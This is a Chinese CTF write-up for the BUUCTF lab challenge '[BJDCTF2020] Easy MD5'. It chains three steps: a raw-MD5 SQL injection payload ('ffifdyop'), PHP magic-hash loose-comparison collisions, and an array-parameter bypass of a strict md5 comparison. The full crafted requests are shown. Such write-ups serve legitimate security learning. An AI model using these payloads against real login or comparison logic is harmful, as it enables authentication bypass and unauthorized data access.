当前位置: 首页 > news >正文

BUUCTF在线评测-练习场-WebCTF习题[BJDCTF2020]Easy MD51-flag获取、解析

解题思路

打开靶场,有个提交框,输入后url会出现我们提交的参数password

http://a48577ed-9a1c-4751-aba0-ae99f1eb8143.node5.buuoj.cn:81/leveldo4.php?password=123

查看源码并没用发现什么猫腻,抓包在响应头发现了猫腻

hint: select * from 'admin' where password=md5($pass,true)

给了我们疑似sql注入的提示,我们输入的参数应该是作为pass用MD5加密了,并且增加了true参数,即MD5不是输出字符串,而是原始的二进制格式MD5。

根据语句提示,这里注入password=md5($pass,true)为永真,即可输出admin的所有数据。利用经典的payload:

$pass = "ffifdyop"; 
// md5("ffifdyop", true) → 二进制:0x276f722736c95d99e921722cf9ed621c
// 转义后:'\'or\'6�]��!r,��b'

原sql语句会变成永真:

SELECT * FROM admin WHERE password=''or '6<乱码>'

 提交后转到了另一个界面,应该是说明注入成功了吧..

 问我喜欢MD5吗,喜欢密码呢,查看源码,可以发现,作者想要个女朋友

<!--
$a = $GET['a'];
$b = $_GET['b'];if($a != $b && md5($a) == md5($b)){// wow, glzjin wants a girl friend.
-->

比较经典的MD5弱碰撞了,使用经典的0e组合

$a = "QNKCDZO"          // MD5: 0e830400451993494058024219903391
$b = "240610708"        // MD5: 0e462097431906509019562988736854
levels91.php?a=QNKCDZO&b=240610708

又转到了另一个界面,开始套娃了是吧,不过终于有flag的身影了

<?php
error_reporting(0);
include "flag.php";highlight_file(__FILE__);if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){echo $flag;
}

这里考察原值不严格相等!==和md5值严格相等===

  • !== 要求类型和值至少有一个不相同

  • === 要求类型和值都相同

!==比较好绕过,但是严格比较就需要一些技巧

// 用户输入
$_POST['param1'] = ['a'];  // 类型:array
$_POST['param2'] = ['b'];  // 类型:array// 条件检查
var_dump($_POST['param1'] !== $_POST['param2']);  // true(数组内容不同)
var_dump(md5($_POST['param1']) === md5($_POST['param2'])); // true(都是NULL)// 实际MD5计算
var_dump(md5(['a'])); // NULL(带警告:md5() expects parameter 1 to be string)
var_dump(md5(['b'])); // NULL

使用MD5对数组的特性,计算为null即可严格相等。

因为是post提交数据,抓包进行修改

POST /levell14.php HTTP/1.1
Host: a48577ed-9a1c-4751-aba0-ae99f1eb8143.node5.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://a48577ed-9a1c-4751-aba0-ae99f1eb8143.node5.buuoj.cn:81/levels91.php?a=QNKCDZO&b=240610708
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25param1[]=a&param2[]=b

成功获取Flag 

总结

 一道涵盖了挺多知识点的MD5题,还包含了一些sql注入,难点主要在MD5的碰撞上面。

相关文章:

  • 第九节:Vben Admin 最新 v5.0 (vben5) 快速入门 - 菜单管理(上)
  • 笔记07:网表的输出与导入
  • 家政维修平台实战30:处理售后
  • ABP VNext + 多数据库混合:SQL Server+PostgreSQL+MySQL
  • 开疆智能ModbusTCP转CClinkIE网关连接台达DVP-ES3 PLC配置案例
  • 嵌入式硬件与应用篇---寄存器GPIO控制
  • 【音视频】H.264详细介绍及测试代码
  • 电子电气架构 --- 车辆产品的生产周期和研发周
  • 深入解析 Electron 架构:主进程 vs 渲染进程
  • Blender速成班-知识补充
  • Opencv计算机视觉PPT-算法篇
  • 在项目中如何巧妙使用缓存
  • nginx基本使用 linux(mac下的)
  • 【SpringBoot高级】SpringBoot与Kafka深度整合:从入门到企业级实战
  • PB应用变为Rust语言方案
  • 【Actix Web】构建高性能 Rust API:Actix Web 最佳实践与进阶指南
  • 【学习笔记】深入理解Java虚拟机学习笔记——第13章 线程安全与锁优化
  • 力扣网C语言编程题:在数组中查找目标值位置之二分查找法
  • Vue.js 中的数字格式化组件:`FormattedNumber`
  • C++ STL深度剖析:Stack、queue、deque容器适配器核心接口